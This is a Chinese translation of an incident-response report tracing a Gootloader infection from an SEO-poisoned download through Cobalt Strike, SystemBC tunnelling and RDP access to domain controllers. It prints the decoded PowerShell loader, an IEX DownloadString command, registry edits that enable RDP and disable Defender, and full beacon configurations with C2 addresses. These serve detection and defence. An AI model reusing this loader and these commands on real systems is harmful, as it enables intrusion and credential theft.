要点
-
2023 年 2 月,我们检测到一次入侵,该入侵是由用户从 SEO 中毒的搜索结果下载并执行文件发起的,从而导致 Gootloader 感染。
-
初次感染后大约九小时,Gootloader 恶意软件将 Cobalt Strike 信标有效负载直接部署到主机注册表中,然后在内存中执行。
-
威胁行为者部署了 SystemBC,通过隧道将 RDP 访问接入网络,这有助于破坏域控制器、备份服务器和其他关键服务器。
-
威胁行为者使用 RDP 对敏感和机密文件进行交互式审查;但是,我们无法确认是否确实有任何数据被泄露。
案例概要
此次入侵始于 2023 年 2 月,当时一名用户搜索“默示雇佣协议”。Gootloader 背后的人员经常利用与合同和协议相关的条款来进行搜索引擎优化 (SEO) 中毒。在这种情况下,用户遇到了 SEO 中毒结果并点击了它。此操作将他们引导至一个模仿用户论坛的受感染网站。该网页上有一个欺骗性链接,诱使用户下载一份雇佣协议。
打开收到的 zip 文件后,用户会看到一个 JavaScript 文件,其名称与其初始搜索词相似。单击此文件会触发 Gootloader 恶意软件的执行过程。这导致在用户的 AppData 文件夹中创建一个新的 JavaScript 文件。为了确保其连续运行,Gootloader 建立了一个计划任务来运行这个新创建的文件,并结合了一个用于持久性的登录触发器。该序列以执行模糊的 PowerShell 脚本结束,该脚本调用另一个 PowerShell 脚本。
此脚本使用内置 PowerShell Cmdlet 和 WMI 查询执行有关主机的一些基本信息发现。然后,该脚本会访问远程端点的轮换列表。首次执行后大约九个小时,其中一个远程端点响应了 Gootloader 恶意软件,提供了写入两个注册表项的下载。这些注册表项包含一个混淆的 Gootloader 启动器和一个直接加载到内存中的 Cobalt Strike 信标。
接下来,检测到 dllhost 中的进程注入实例,同时还检测到多个远程主机的网络连接,检查 LDAP 和 SMB。此外,还观察到定向到域控制器的 LDAP 网络流量,表明针对不同组的发现操作,包括域用户、管理员、RDP 用户和域管理员。
这些活动发生后大约十分钟,威胁行为者在网络内发起横向移动。这涉及创建远程服务来禁用 Windows Defender 的实时监控。随后,他们通过 SMB 传输了 Cobalt Strike 信标可执行文件并将其作为服务执行。此后,在受感染的主机上观察到额外的进程注入和对 LSASS 内存的访问。
威胁参与者继续尝试此方法以转移到各种工作站和域控制器。然而,在域控制器上,Windows Defender 仍然运行并成功阻止了启动信标的尝试。尽管遇到了这些挫折,攻击者仍继续从受感染的工作站进行攻击,利用 PowerView 执行其他发现任务。
为了破坏域控制器,威胁行为者调整了他们的策略。他们在工作站上引入了一个新的 PowerShell 脚本并执行它,这是 SystemBC 的 PowerShell 实现。该脚本发起与命令和控制服务器的通信,并通过创建注册表运行密钥来建立持久性。完成此设置后,威胁参与者通过域控制器上的远程服务执行多个命令,以确保启用 RDP 访问。然后,他们使用 SystemBC 通过受感染的工作站路由连接,通过 RDP 登录到域控制器。
获得域控制器的访问权限后,威胁参与者通过 RDP 会话传输包含一系列命令的文本文件,旨在进一步尝试禁用 Windows Defender。尽管做出了这些努力,他们部署 PowerShell 信标的尝试似乎并不成功。他们并没有被吓倒,而是继续在域控制器上安装高级 IP 扫描程序并启动网络扫描。在该程序运行时,他们探索了远程文件共享,在此期间他们访问了包含密码相关信息的文档。
接下来,威胁参与者将注意力转向备份服务器,利用 Windows 远程管理 (WinRM) 执行多个命令,确保启用并开放对服务器的 RDP 访问。确保 RDP 可用后,他们通过 RDP 连接到服务器,并继续检查环境的备份配置。在此期间,他们还在服务器上部署了SystemBC PowerShell脚本。在此活动之后,威胁行为者的行动明显平静,在接下来的五个小时内没有记录到任何重大活动。返回后,威胁参与者恢复通过 RDP 访问主机。
威胁行为者在从备份服务器进行操作时,通过在文件共享中查找与密码相关的文档来恢复敏感信息的搜索。此外,他们再次执行了 Advanced IP Scanner,这次是从备份服务器执行的。在整个 RDP 会话中,他们以交互方式查看数据,但在此活动阶段没有观察到数据泄露的直接迹象。此后,威胁行为者在网络上的存在停止了,并且在被从网络中驱逐之前没有再次被检测到。
分析师
分析和报告由@_pete_0、@malforsec和@r3nzsec完成
初始访问
初始访问是通过用户通过 Google 搜索导航到 SEO 中毒的网站来实现的。一旦打开,该网站就会伪装成一个论坛,并带有“默示就业协议”文件的下载链接。
在我们之前对 Gootloader 的分析中(详见报告“ SEO 中毒:Gootloader 的故事”),我们重新审视了威胁行为者所采用的相同初始访问技术。为了更好地理解,我们在之前的报告中加入了一段视频,直观地展示了用户从 SEO 中毒到遇到 Gootloader 恶意软件的过程。
“默示雇佣协议”原来是一个包含 GootLoader 多级加载器的 zip 存档。从下面我们可以看到该zip是从互联网上的一个网站下载的(ZoneId=3)。
下面描述了Gootloader感染的启动过程:
执行
Gootloader 在整个感染链中使用了多次执行。
用户在打开的 zip 存档中双击 JavaScript 文件后,就会执行该文件。
Javascript 文件的执行会释放另一个名为“Frontline Management.js”的 Javascript 文件。这个被删除的 Javascript 被严重混淆了。
除了该文件之外,还创建了一个名为“InfrSiRfucture Technologies”的新计划任务。然后调用该任务来运行新的 Javascript 文件。感染链以 PowerShell 脚本继续。这里的执行链是Svchost.exe(计划任务)➝Wscript.exe➝Cscript.exe➝Powershell.exe
PowerShell 脚本包含十个远程服务器的 URL:
并非所有包含的远程服务器在执行时都被武器化,因此某些服务器会回答 HTTP 405“不允许使用方法”。
然而,对于被武器化的服务器,却有不同的反应。对于此次入侵,地址为 46.28.105[.]94,URL 为“hxxp:blog[.]lilianpraskova[.]cz/xmlrpc[.]php”。然后,服务器开始回复 HTTP 状态代码 200“OK”,并传递 Gootloader 感染的最后阶段。
最终下载包含三个不同的组件。Gootloader stage1(参数 $cXqt)是一个混淆的 dll,Gootloader stage2(参数 $IbaY)在反混淆后最终成为一个 exe 文件。最后,脚本将 stage1 和 stage2 写入注册表,然后对 stage1 进行反混淆并将其加载到内存中。Stage1 负责对 stage2(Gootloader 的最终有效负载)进行反混淆,并加载我们稍后将看到的 Cobalt Strike Beacon。
下面对运行的编码 PowerShell 命令进行美化和解码。
这是解码后的值:
609265940; sleep -s (20); 60213434; $sxd="hkcu:softwaremicrosoftPersonalizationgeRBAdXTDCkN"; $tGSWK=gp -path $sxd; for ($tGSWKgjA=0; $tGSWKgjA -le 705; $tGSWKgjA++){Try{$OHhnP+=$tGSWK.$tGSWKgjA}Catch{}}; $tGSWKgjA=0; while($true){$tGSWKgjA++; $ko=[math]::("sqrt")($tGSWKgjA); if($ko -eq 1000){break}}$CVaW=$OHhnP.replace("#",$ko); $lSfdm=[byte[]]::("new")($CVaW.Length/2); for($tGSWKgjA=0; $tGSWKgjA -lt $CVaW.Length; $tGSWKgjA+=2){$lSfdm[$tGSWKgjA/2]=[convert]::("ToByte")($CVaW.Substring($tGSWKgjA,2),(2*8))}[reflection.assembly]::("Load")($lSfdm); [Open]::("Test")(); 809902482;
手动解码 JavaScript stager 负载可能非常耗时,因此我们使用了Mandiant 制作的这个出色的脚本。这是用于反混淆 Gootloader 恶意软件样本的脚本集合。我们使用GootLoaderAutoJSDecode.py Python 脚本,通过静态分析自动解码 .js 文件。
Gootloader 持久性
在初始 Gootloader 执行期间创建了计划任务。该任务按需运行,以执行 Gootloader 恶意软件链的下一阶段,并设置登录触发器以维持滩头阵地的持久性。
系统BC
随后在入侵中,威胁参与者部署了 SystemBC PowerShell 脚本。他们通过使用名为“socks_powershell”的自动运行键来设置此脚本的持久性
权限提升
Cobalt Strike ‘getsystem’ 命令的使用是显而易见的,cmd 是从信标 (DLLHOST) 生成的,以提升到 ‘SYSTEM’ 上下文。
该技术的详细信息记录在此处:https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem
在整个入侵过程中,使用从所获取的凭据创建的令牌启动了新的登录会话。最初,使用受损滩头帐户的凭据从 PowerShell 有效负载启动了牺牲进程 dllhost.exe。
使用获取的凭据创建了一个新的登录会话。此事件记录在 Windows eventID 4624 下,显示初始登录 ID,并使用目标用户帐户跟踪新的登录 ID。
新创建的登录会话(登录 ID)被分配了特殊权限(提升),如 eventID 4672 中详述。
导致 CMD 具有提升权限的新登录会话
威胁行为者使用相同的技术针对多个帐户,这些帐户是:
威胁行为者相对轻松地跨受感染的帐户和多个端点进行攻击。
存在多种检测机会,包括将非典型登录与来自意外帐户或工作站的高权限帐户相关联,以及标准用户向登录 ID 分配特殊权限。使用“登录类型 9”以及“seclogo”身份验证类型强烈表明凭据的使用,类似于“runas”命令的 /netonly 方法,如 Cobalt Strike 的“传递哈希”技术所使用的那样。(https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials)。
防御规避
在滩头堡主机上,为了避免将文件丢失到磁盘,创建了几个注册表项来将有效负载存储在以下位置:
HCKUSoftwareMicrosoftPersonalization
每个密钥都有一个关联的有效负载(阶段 1 和阶段 2)。这些密钥存储了在滩头阵地执行的 Cobalt Strike 信标的数据。
geRBAdXTDCkN
cbkSBtbjQBNFy
可以通过 Base64 编码的 PowerShell 命令观察有效负载的执行以运行 Cobalt Strike 信标
在入侵期间,我们观察到与 Windows Defender 篡改相关的活动。该命令是使用 Cobalt Strike 模块(例如 psexec_psh)在主机上远程执行的。删除了计划扫描任务,并创建了一个服务来禁用实时监控。
计划任务命令
远程桌面
通过将DisableRestrictedAdmin键修改为0来启用受限管理模式
启用受限管理模式允许攻击者使用收集的哈希值而不是密码进行登录。可以在此处找到解释 [ https://github.com/GhostPack/RestrictedAdmin ]。SVR和其他各种威胁行为者也观察到了相同的技术。
在之前的Gootloader 案例以及另外两个公共案例中也观察到了同样的技术。
第二次注册表修改通过更改“DenyTSConnections”设置来允许 RDP 连接。
Windows 防火墙
在域控制器上,“Netsh”用于启用远程桌面防火墙配置文件
接下来是远程管理防火墙配置文件
进程注入
我们观察了进程注入活动,利用 PowerShell 和 dllhost 将 Cobalt Strike 信标加载到滩头主机的内存中。
这可以在滩头主机的内存转储中观察到,内存空间上有明显的 PAGE_EXECUTE_READWRITE 保护设置,并且 MZ 标头可在进程内存空间中观察到。
在入侵过程中,我们观察到威胁参与者通过 PowerShell 和 dllhost 注入的 Cobalt Strike 信标使用了多个命名管道:
PipeName: 4fcc39
PipeName: netsvc1324
PipeName: 4fcc39
PipeName: netsvc415
凭证访问
在部署了 Cobalt Strike 信标的受感染端点中,可以访问 LSASS 进程以检索内存凭证。
带有“未知”的可疑 CallTrace 表示注入的代码,而授予访问权限 0x1010 是来自 mimikatz 等凭证窃取工具的标准行为。代码 0x1010 可以分解为以下访问权限:
0x00000010 = VMRead
0x00001000 = QueryLimitedInfo
操作员花了一些时间访问和查看文件。最感兴趣的文件是那些可以指示凭证存储的文件。在这次入侵中,“记事本”被用来查看密码文件共享位置中的文件。
发现 Gootloader
在进行键盘活动之前,Gootloader 运行了许多 PowerShell Cmdlet 来收集基本主机信息。
第一部分使用 env 从主机收集环境数据:
接下来使用 Get-WmiObject 的主机操作系统:
接下来使用 Get-Process 运行带有 maintitlewindow 过滤器的进程。
没有过滤器:
带过滤器:
并使用 Get-PsDrive 检查磁盘空间:
RDP 端口发现
Advanced IP Scanner ( https://www.advanced-ip-scanner.com/ ) 是从受感染的帐户执行的,然后用于查找打开了 RDP (3389) 的系统。
LDAP
DLLHost 进程(Cobalt Strike beacon)使用端口 389 和 3268 进行多次 LDAP(轻量级目录访问协议)查询。
Shares枚举
扫描所有网络端点是否存在共享文件夹。这是我们在其他类似案例中观察到的一种常见技术,用于发现和收集感兴趣的信息,即凭证和机密信息。
Ping
DLLHost(Cobalt Strike 信标)使用“ping”命令对端点进行多次 ping 扫描:
ping 命令的使用有几个不寻常的指标。该命令是从 SYSTEM 帐户执行的,并且创建了一个没有附加控制台会话的 conhost 进程 [ https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-wtsgetactiveconsolesessionid#return -价值]
使用这些指标多次执行“ping”:
广告组
威胁行为者列举了“远程管理用户”、“远程桌面用户”、“本地管理员”和“分布式 COM 用户”组。
PowerSploit
据观察,PowerView Cmdlet 作为 PowerSploit 的一部分被用于发现域配置。观察到的 Cmdlet 包括 Get-DomainFileServer 和 Get-DomainSearcher。这是从 SYSTEM 用户上下文作为 Base64 编码值传递的。Base64值SQB是IEX关键字的常用指示符,常用于文件下载。
命令:
解码为:
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:12210/'); Get-DomainFileServer
使用环回 IP 地址 [127.0.0.1] 表明该脚本是通过其自己的植入物 [dllhost] 传递的。该命令使用的详细信息请参见此处。
调用 Get-DomainSearcher 函数作为 Get-DomainFileServer 执行的一部分:
横向运动
使用远程服务创建在多个端点上部署 Cobalt Strike 信标。服务要么基于 Powershell base64 编码的有效负载创建,要么作为 dropper 可执行文件创建。
Cobalt Strike beacon PowerShell 有效负载具有可识别的指示器,包括随机服务名称、COMSPEC 的使用和 PowerShell 参数。以 JAB 开头的 Base64 编码是正在使用的变量的常见指示符。
编译后的 Cobalt Strike 信标被投放到域控制器上
这个特定的信标被主机 AV [Windows Defender eventID 1117] 检测到并删除。
Cobalt Strike 信标与 SMB 管理员共享一起分发
下图显示了 Cobalt Strike 信标通过 SMB 管理共享分发到环境中的主机。
WMI 用于启动远程进程
在此入侵中,通过 WMI 远程执行“reg add”命令,尝试通过将“DenyTSConnections”键更改为 false (0) 来允许 RDP 连接,如下面的网络流量捕获所示。
reg add "HKLMSYSTEMCurrrentControlSetControlTerminal Server" /f /v fDenyTSConnections /t REG_DWORD /d 0
威胁参与者再次执行命令来修改注册表项,以通过 WMI 远程启用受限管理模式。此活动是通过 Windows eventID 4688 捕获的。
远程桌面协议
RDP 用于在多个主机之间横向移动。下图显示了威胁参与者建立的 RDP 连接。
RDP“RemoteDesktopServices-RdpCoreTS/Operational”的 Windows 事件日志 eventID 131 显示 RDP 活动以及客户端 IP 和源端口等详细信息。
使用 MSRPC 创建远程服务
威胁参与者利用 RPC 远程创建服务。使用 MSRPC 服务控制管理器 (SCM) 是一项已知的 Cobalt Strike 功能,可以在远程主机上执行代码。这里,CreateWowService 调用用于运行 PowerShell 命令以禁用 Windows Defender 实时监控。在wireshark中添加密码或NTLM哈希将解密流量。
Hands On Keyboard
使用受感染的帐户,观察到威胁参与者使用记事本在主机之间移动有效负载。他们将内容放入的文件被恰当地命名为“payload.txt”。
在威胁参与者使用记事本将内容放入文本文件之前,已在网络共享上捕获了文件 Payload.txt。该数据包含一个编码的 PowerShell 命令和几个禁用 Windows Defender 功能的命令。
我们可以看到威胁参与者随后从 Sysmon eventID 24 复制了数据,该数据还显示威胁参与者主机名为 DESKTOP-GRALDC5。
收藏
除了凭证访问中提到的与密码相关的文档之外,其他敏感文件也是使用写字板访问的。一些感兴趣的文件是与法律相关的文件和文件夹,例如合同。
命令与控制 Cobalt Strike
在事件发生之前,已在 DFIR 报告 威胁情报源中跟踪了用于此次入侵的 Cobalt Strike 服务器。
91.215.85.143:443
JA3:72a589da586844d7f0818ce684948eea
JA3S:f176ba63b4d68e576b5ba345bec2c7b7
在入侵过程中,我们还观察到包含来自域控制器的 base64 字符串的恶意 PowerShell 执行。
使用 CyberChef 解码 Base64 字符串后,生成的输出看起来更干净。然而,我们还注意到下面输出中的第二层混淆。
初始 Base64 解码后,我们发现有效负载使用默认的 Cobalt Strike XOR 值 35,从而允许下一步根据以下输出解码有效负载。
使用 XOR 密钥 35 解码第二层混淆后,我们得到了下一层的 Base64 字符串。我们可以使用 XOR 密钥 35 再次对其进行解码。我们可以使用下面的 CyberChef 食谱作为下一步。
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Label('Decode')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Conditional_Jump('',false,'',10)
From_Base64('A-Za-z0-9+/=',true)
XOR({'option':'Decimal','string':'35'},'Standard',false)
可以使用 Didier Stevens 的1768.py工具保存和解析数据,该工具揭示了 Cobalt Strike stager 配置,包括 C2 IP (91.215.85[.]143) 和许可证 ID(水印)(206546002),其中根据我们之前发布的报告,这是一个在多次攻击中使用的著名水印。
滩头主机使用 Cobalt Strike 信标,注入 PowerShell 和 DLLHost 进程;这些充当 91.215.85[.]143:443 的主要入口和出口命令和控制通道
CS HTTP 信标
威胁行为者使用 Cobalt Strike HTTP 信标进行命令和控制通信。三台独立的主机被与 IPv4 91.215.85[.]143:443 通信的 Cobalt Strike HTTP 信标感染。
Cobalt Strike HTTP 信标配置:
{
"beacontype": [
"HTTPS"
],
"sleeptime": 22000,
"jitter": 37,
"maxgetsize": 13986556,
"spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
"license_id": 206546002,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "91.215.85.143",
"port": 443,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAJbAA83lOuZlkNoqHDAdV1F7OJnqUiF3kD6mwuXzJzVpu9+f4l/QIUotuiQA+vvxdM3q/XGu77WogAe90LRUknEdoD6YnU32G/ts9dbSwG6HySt7cLn5B3FsomLWjBbssH9e31TihCUvZbK6PRzmLW4SBgZigBWLXZgu7+SwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/jquery-3.3.1.min.js",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
},
"server": {
"output": [
"print",
"append 1522 characters",
"prepend 84 characters",
"prepend 3931 characters",
"base64url",
"mask"
]
}
},
"http-post": {
"uri": "/jquery-3.3.2.min.js",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
},
"tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
},
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\syswow64\dllhost.exe",
"spawnto_x64": "%windir%\sysnative\dllhost.exe"
},
"process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
"CreateThread 'ntdll!RtlUserThreadStart'",
"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend '\x90\x90'"
],
"transform-x64": [
"prepend '\x90\x90'"
],
"userwx": false
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": null,
"smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": true
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
Cobalt Strike SMB 信标
威胁行为者还使用 Cobalt Strike SMB 信标将信标链接在一起以进行横向移动。我们观察到四台使用 Cobalt Strike SMB 信标的主机。
Cobalt Strike SMB 信标配置:
{
"beacontype": [
"SMB"
],
"sleeptime": 10000,
"jitter": 0,
"maxgetsize": 10485760,
"spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
"license_id": 206546002,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "",
"port": 4444,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAJbAA83lOuZlkNoqHDAdV1F7OJnqUiF3kD6mwuXzJzVpu9+f4l/QIUotuiQA+vvxdM3q/XGu77WogAe90LRUknEdoD6YnU32G/ts9dbSwG6HySt7cLn5B3FsomLWjBbssH9e31TihCUvZbK6PRzmLW4SBgZigBWLXZgu7+SwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": null,
"useragent_header": "",
"http-get": {
"uri": null,
"verb": null,
"client": {
"headers": [],
"metadata": null
},
"server": {
"output": []
}
},
"http-post": {
"uri": "",
"verb": null,
"client": {
"headers": [],
"id": null,
"output": null
}
},
"tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": null
},
"http_post_chunk": null,
"uses_cookies": null,
"post-ex": {
"spawnto_x86": "%windir%\syswow64\dllhost.exe",
"spawnto_x64": "%windir%\sysnative\dllhost.exe"
},
"process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
"CreateThread 'ntdll!RtlUserThreadStart'",
"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend '\x90\x90'"
],
"transform-x64": [
"prepend '\x90\x90'"
],
"userwx": false
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": 0,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": "\\.\pipe\mojo.5688.8052.1838949397870888770b",
"smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": true
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
BC系统
在入侵期间,名为“s5.ps1”的 PowerShell 脚本被删除到用户的“AppDataRoaming”文件夹中。
正如Proofpoint所描述的,s5.ps1 是 SystemBC 的 PowerShell 版本。这个PowerShell 版本在过去几年中出现得越来越频繁[ 1,2,3 ] 。
有了流量的 PCAP,我们可以解密它并看到里面运行的是 SOCKS v5 流量。
第一个数据包的前 50 个字节是加密密钥,以 0x00 开头,以 0x3a 结尾:
使用该密钥解密第一个应答数据包表明这是 SOCKS v5 流量,并且还揭示了域:
-
x05 -> 版本 5
-
x01 -> 命令代码 1
-
x00 -> 保留
-
x03 -> 地址类型
-
x05 -> 域长度(已编辑的域名)
脚本被删除后大约四分钟,SOCKS (SystemBC) 被利用,通过受感染的端点将网络连接从外部 IPv4 91.92.136[.]20:4001 隧道连接到域控制器。该端点被配置为执行 PowerShell 脚本 [s5.ps1],该脚本与攻击者控制的基础设施建立了 SOCKS 连接。
流程和C2活动可以表示为:
该脚本具有以下 IPv4 和端口指示符:
SOCKS 隧道提供了来自攻击者计算机的以下连接,并允许从外部遍历 RDP [3389]。
在端点上使用代理(SOCKS 隧道)的副作用是不寻常的端口分配,例如,PowerShell 与端口 3389 通信。在本例中,RDP 用于通过 PowerShell 进程通过隧道连接到域控制器,该进程使用端口 3389 。
该活动确实通过 Windows eventID 4778 暴露了攻击者的计算机名称,名称为“DESKTOP-GRALDC5”。客户端地址引用代理端点,即私有 IPv4 地址。
在入侵过程中,我们还观察到第二个主机名出现“HOME-PC”。这也是通过 RDP 访问相关登录发现的。
根据SRUM(系统资源实用程序监视器),利用SOCKS隧道,攻击者在入侵第二天的0600 UTC至1100 UTC期间最为活跃。
在入侵过程中,我们观察到使用了两种不同的攻击者计算机名称:“DESKTOP-GRALDC5”和“HOME-PC”。
时间线
钻石模型
指标
Gootloader
hxxps[:]//hrclubphilippines[.]com/xmlrpc.php
hxxps[:]//mediacratia[.]ru/xmlrpc.php
hxxps[:]//daraltanweer[.]com/xmlrpc.php
hxxps[:]//ukrainians[.]today/xmlrpc.php
hxxps[:]//my-little-kitchen[.]com/xmlrpc.php
hxxps[:]//montages[.]no/xmlrpc.php
hxxps[:]//pocketofpreschool[.]com/xmlrpc.php
hxxp[:]//blog[.]lilianpraskova[.]cz/xmlrpc.php
hxxps[:]//sitmeanssit[.]com/xmlrpc.php
hxxp[:]//artmodel[.]com[.]ua/xmlrpc.php
Cobalt Strike
91.215.85[.]143:443
SystemBC C2
91.92.136[.]20:4001
此文翻译自:
https://thedfirreport.com/2024/02/26/seo-poisoning-to-domain-control-the-gootloader-saga-continues/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):SEO 污染域名控制中毒:GootLoader恶意软件 完整分析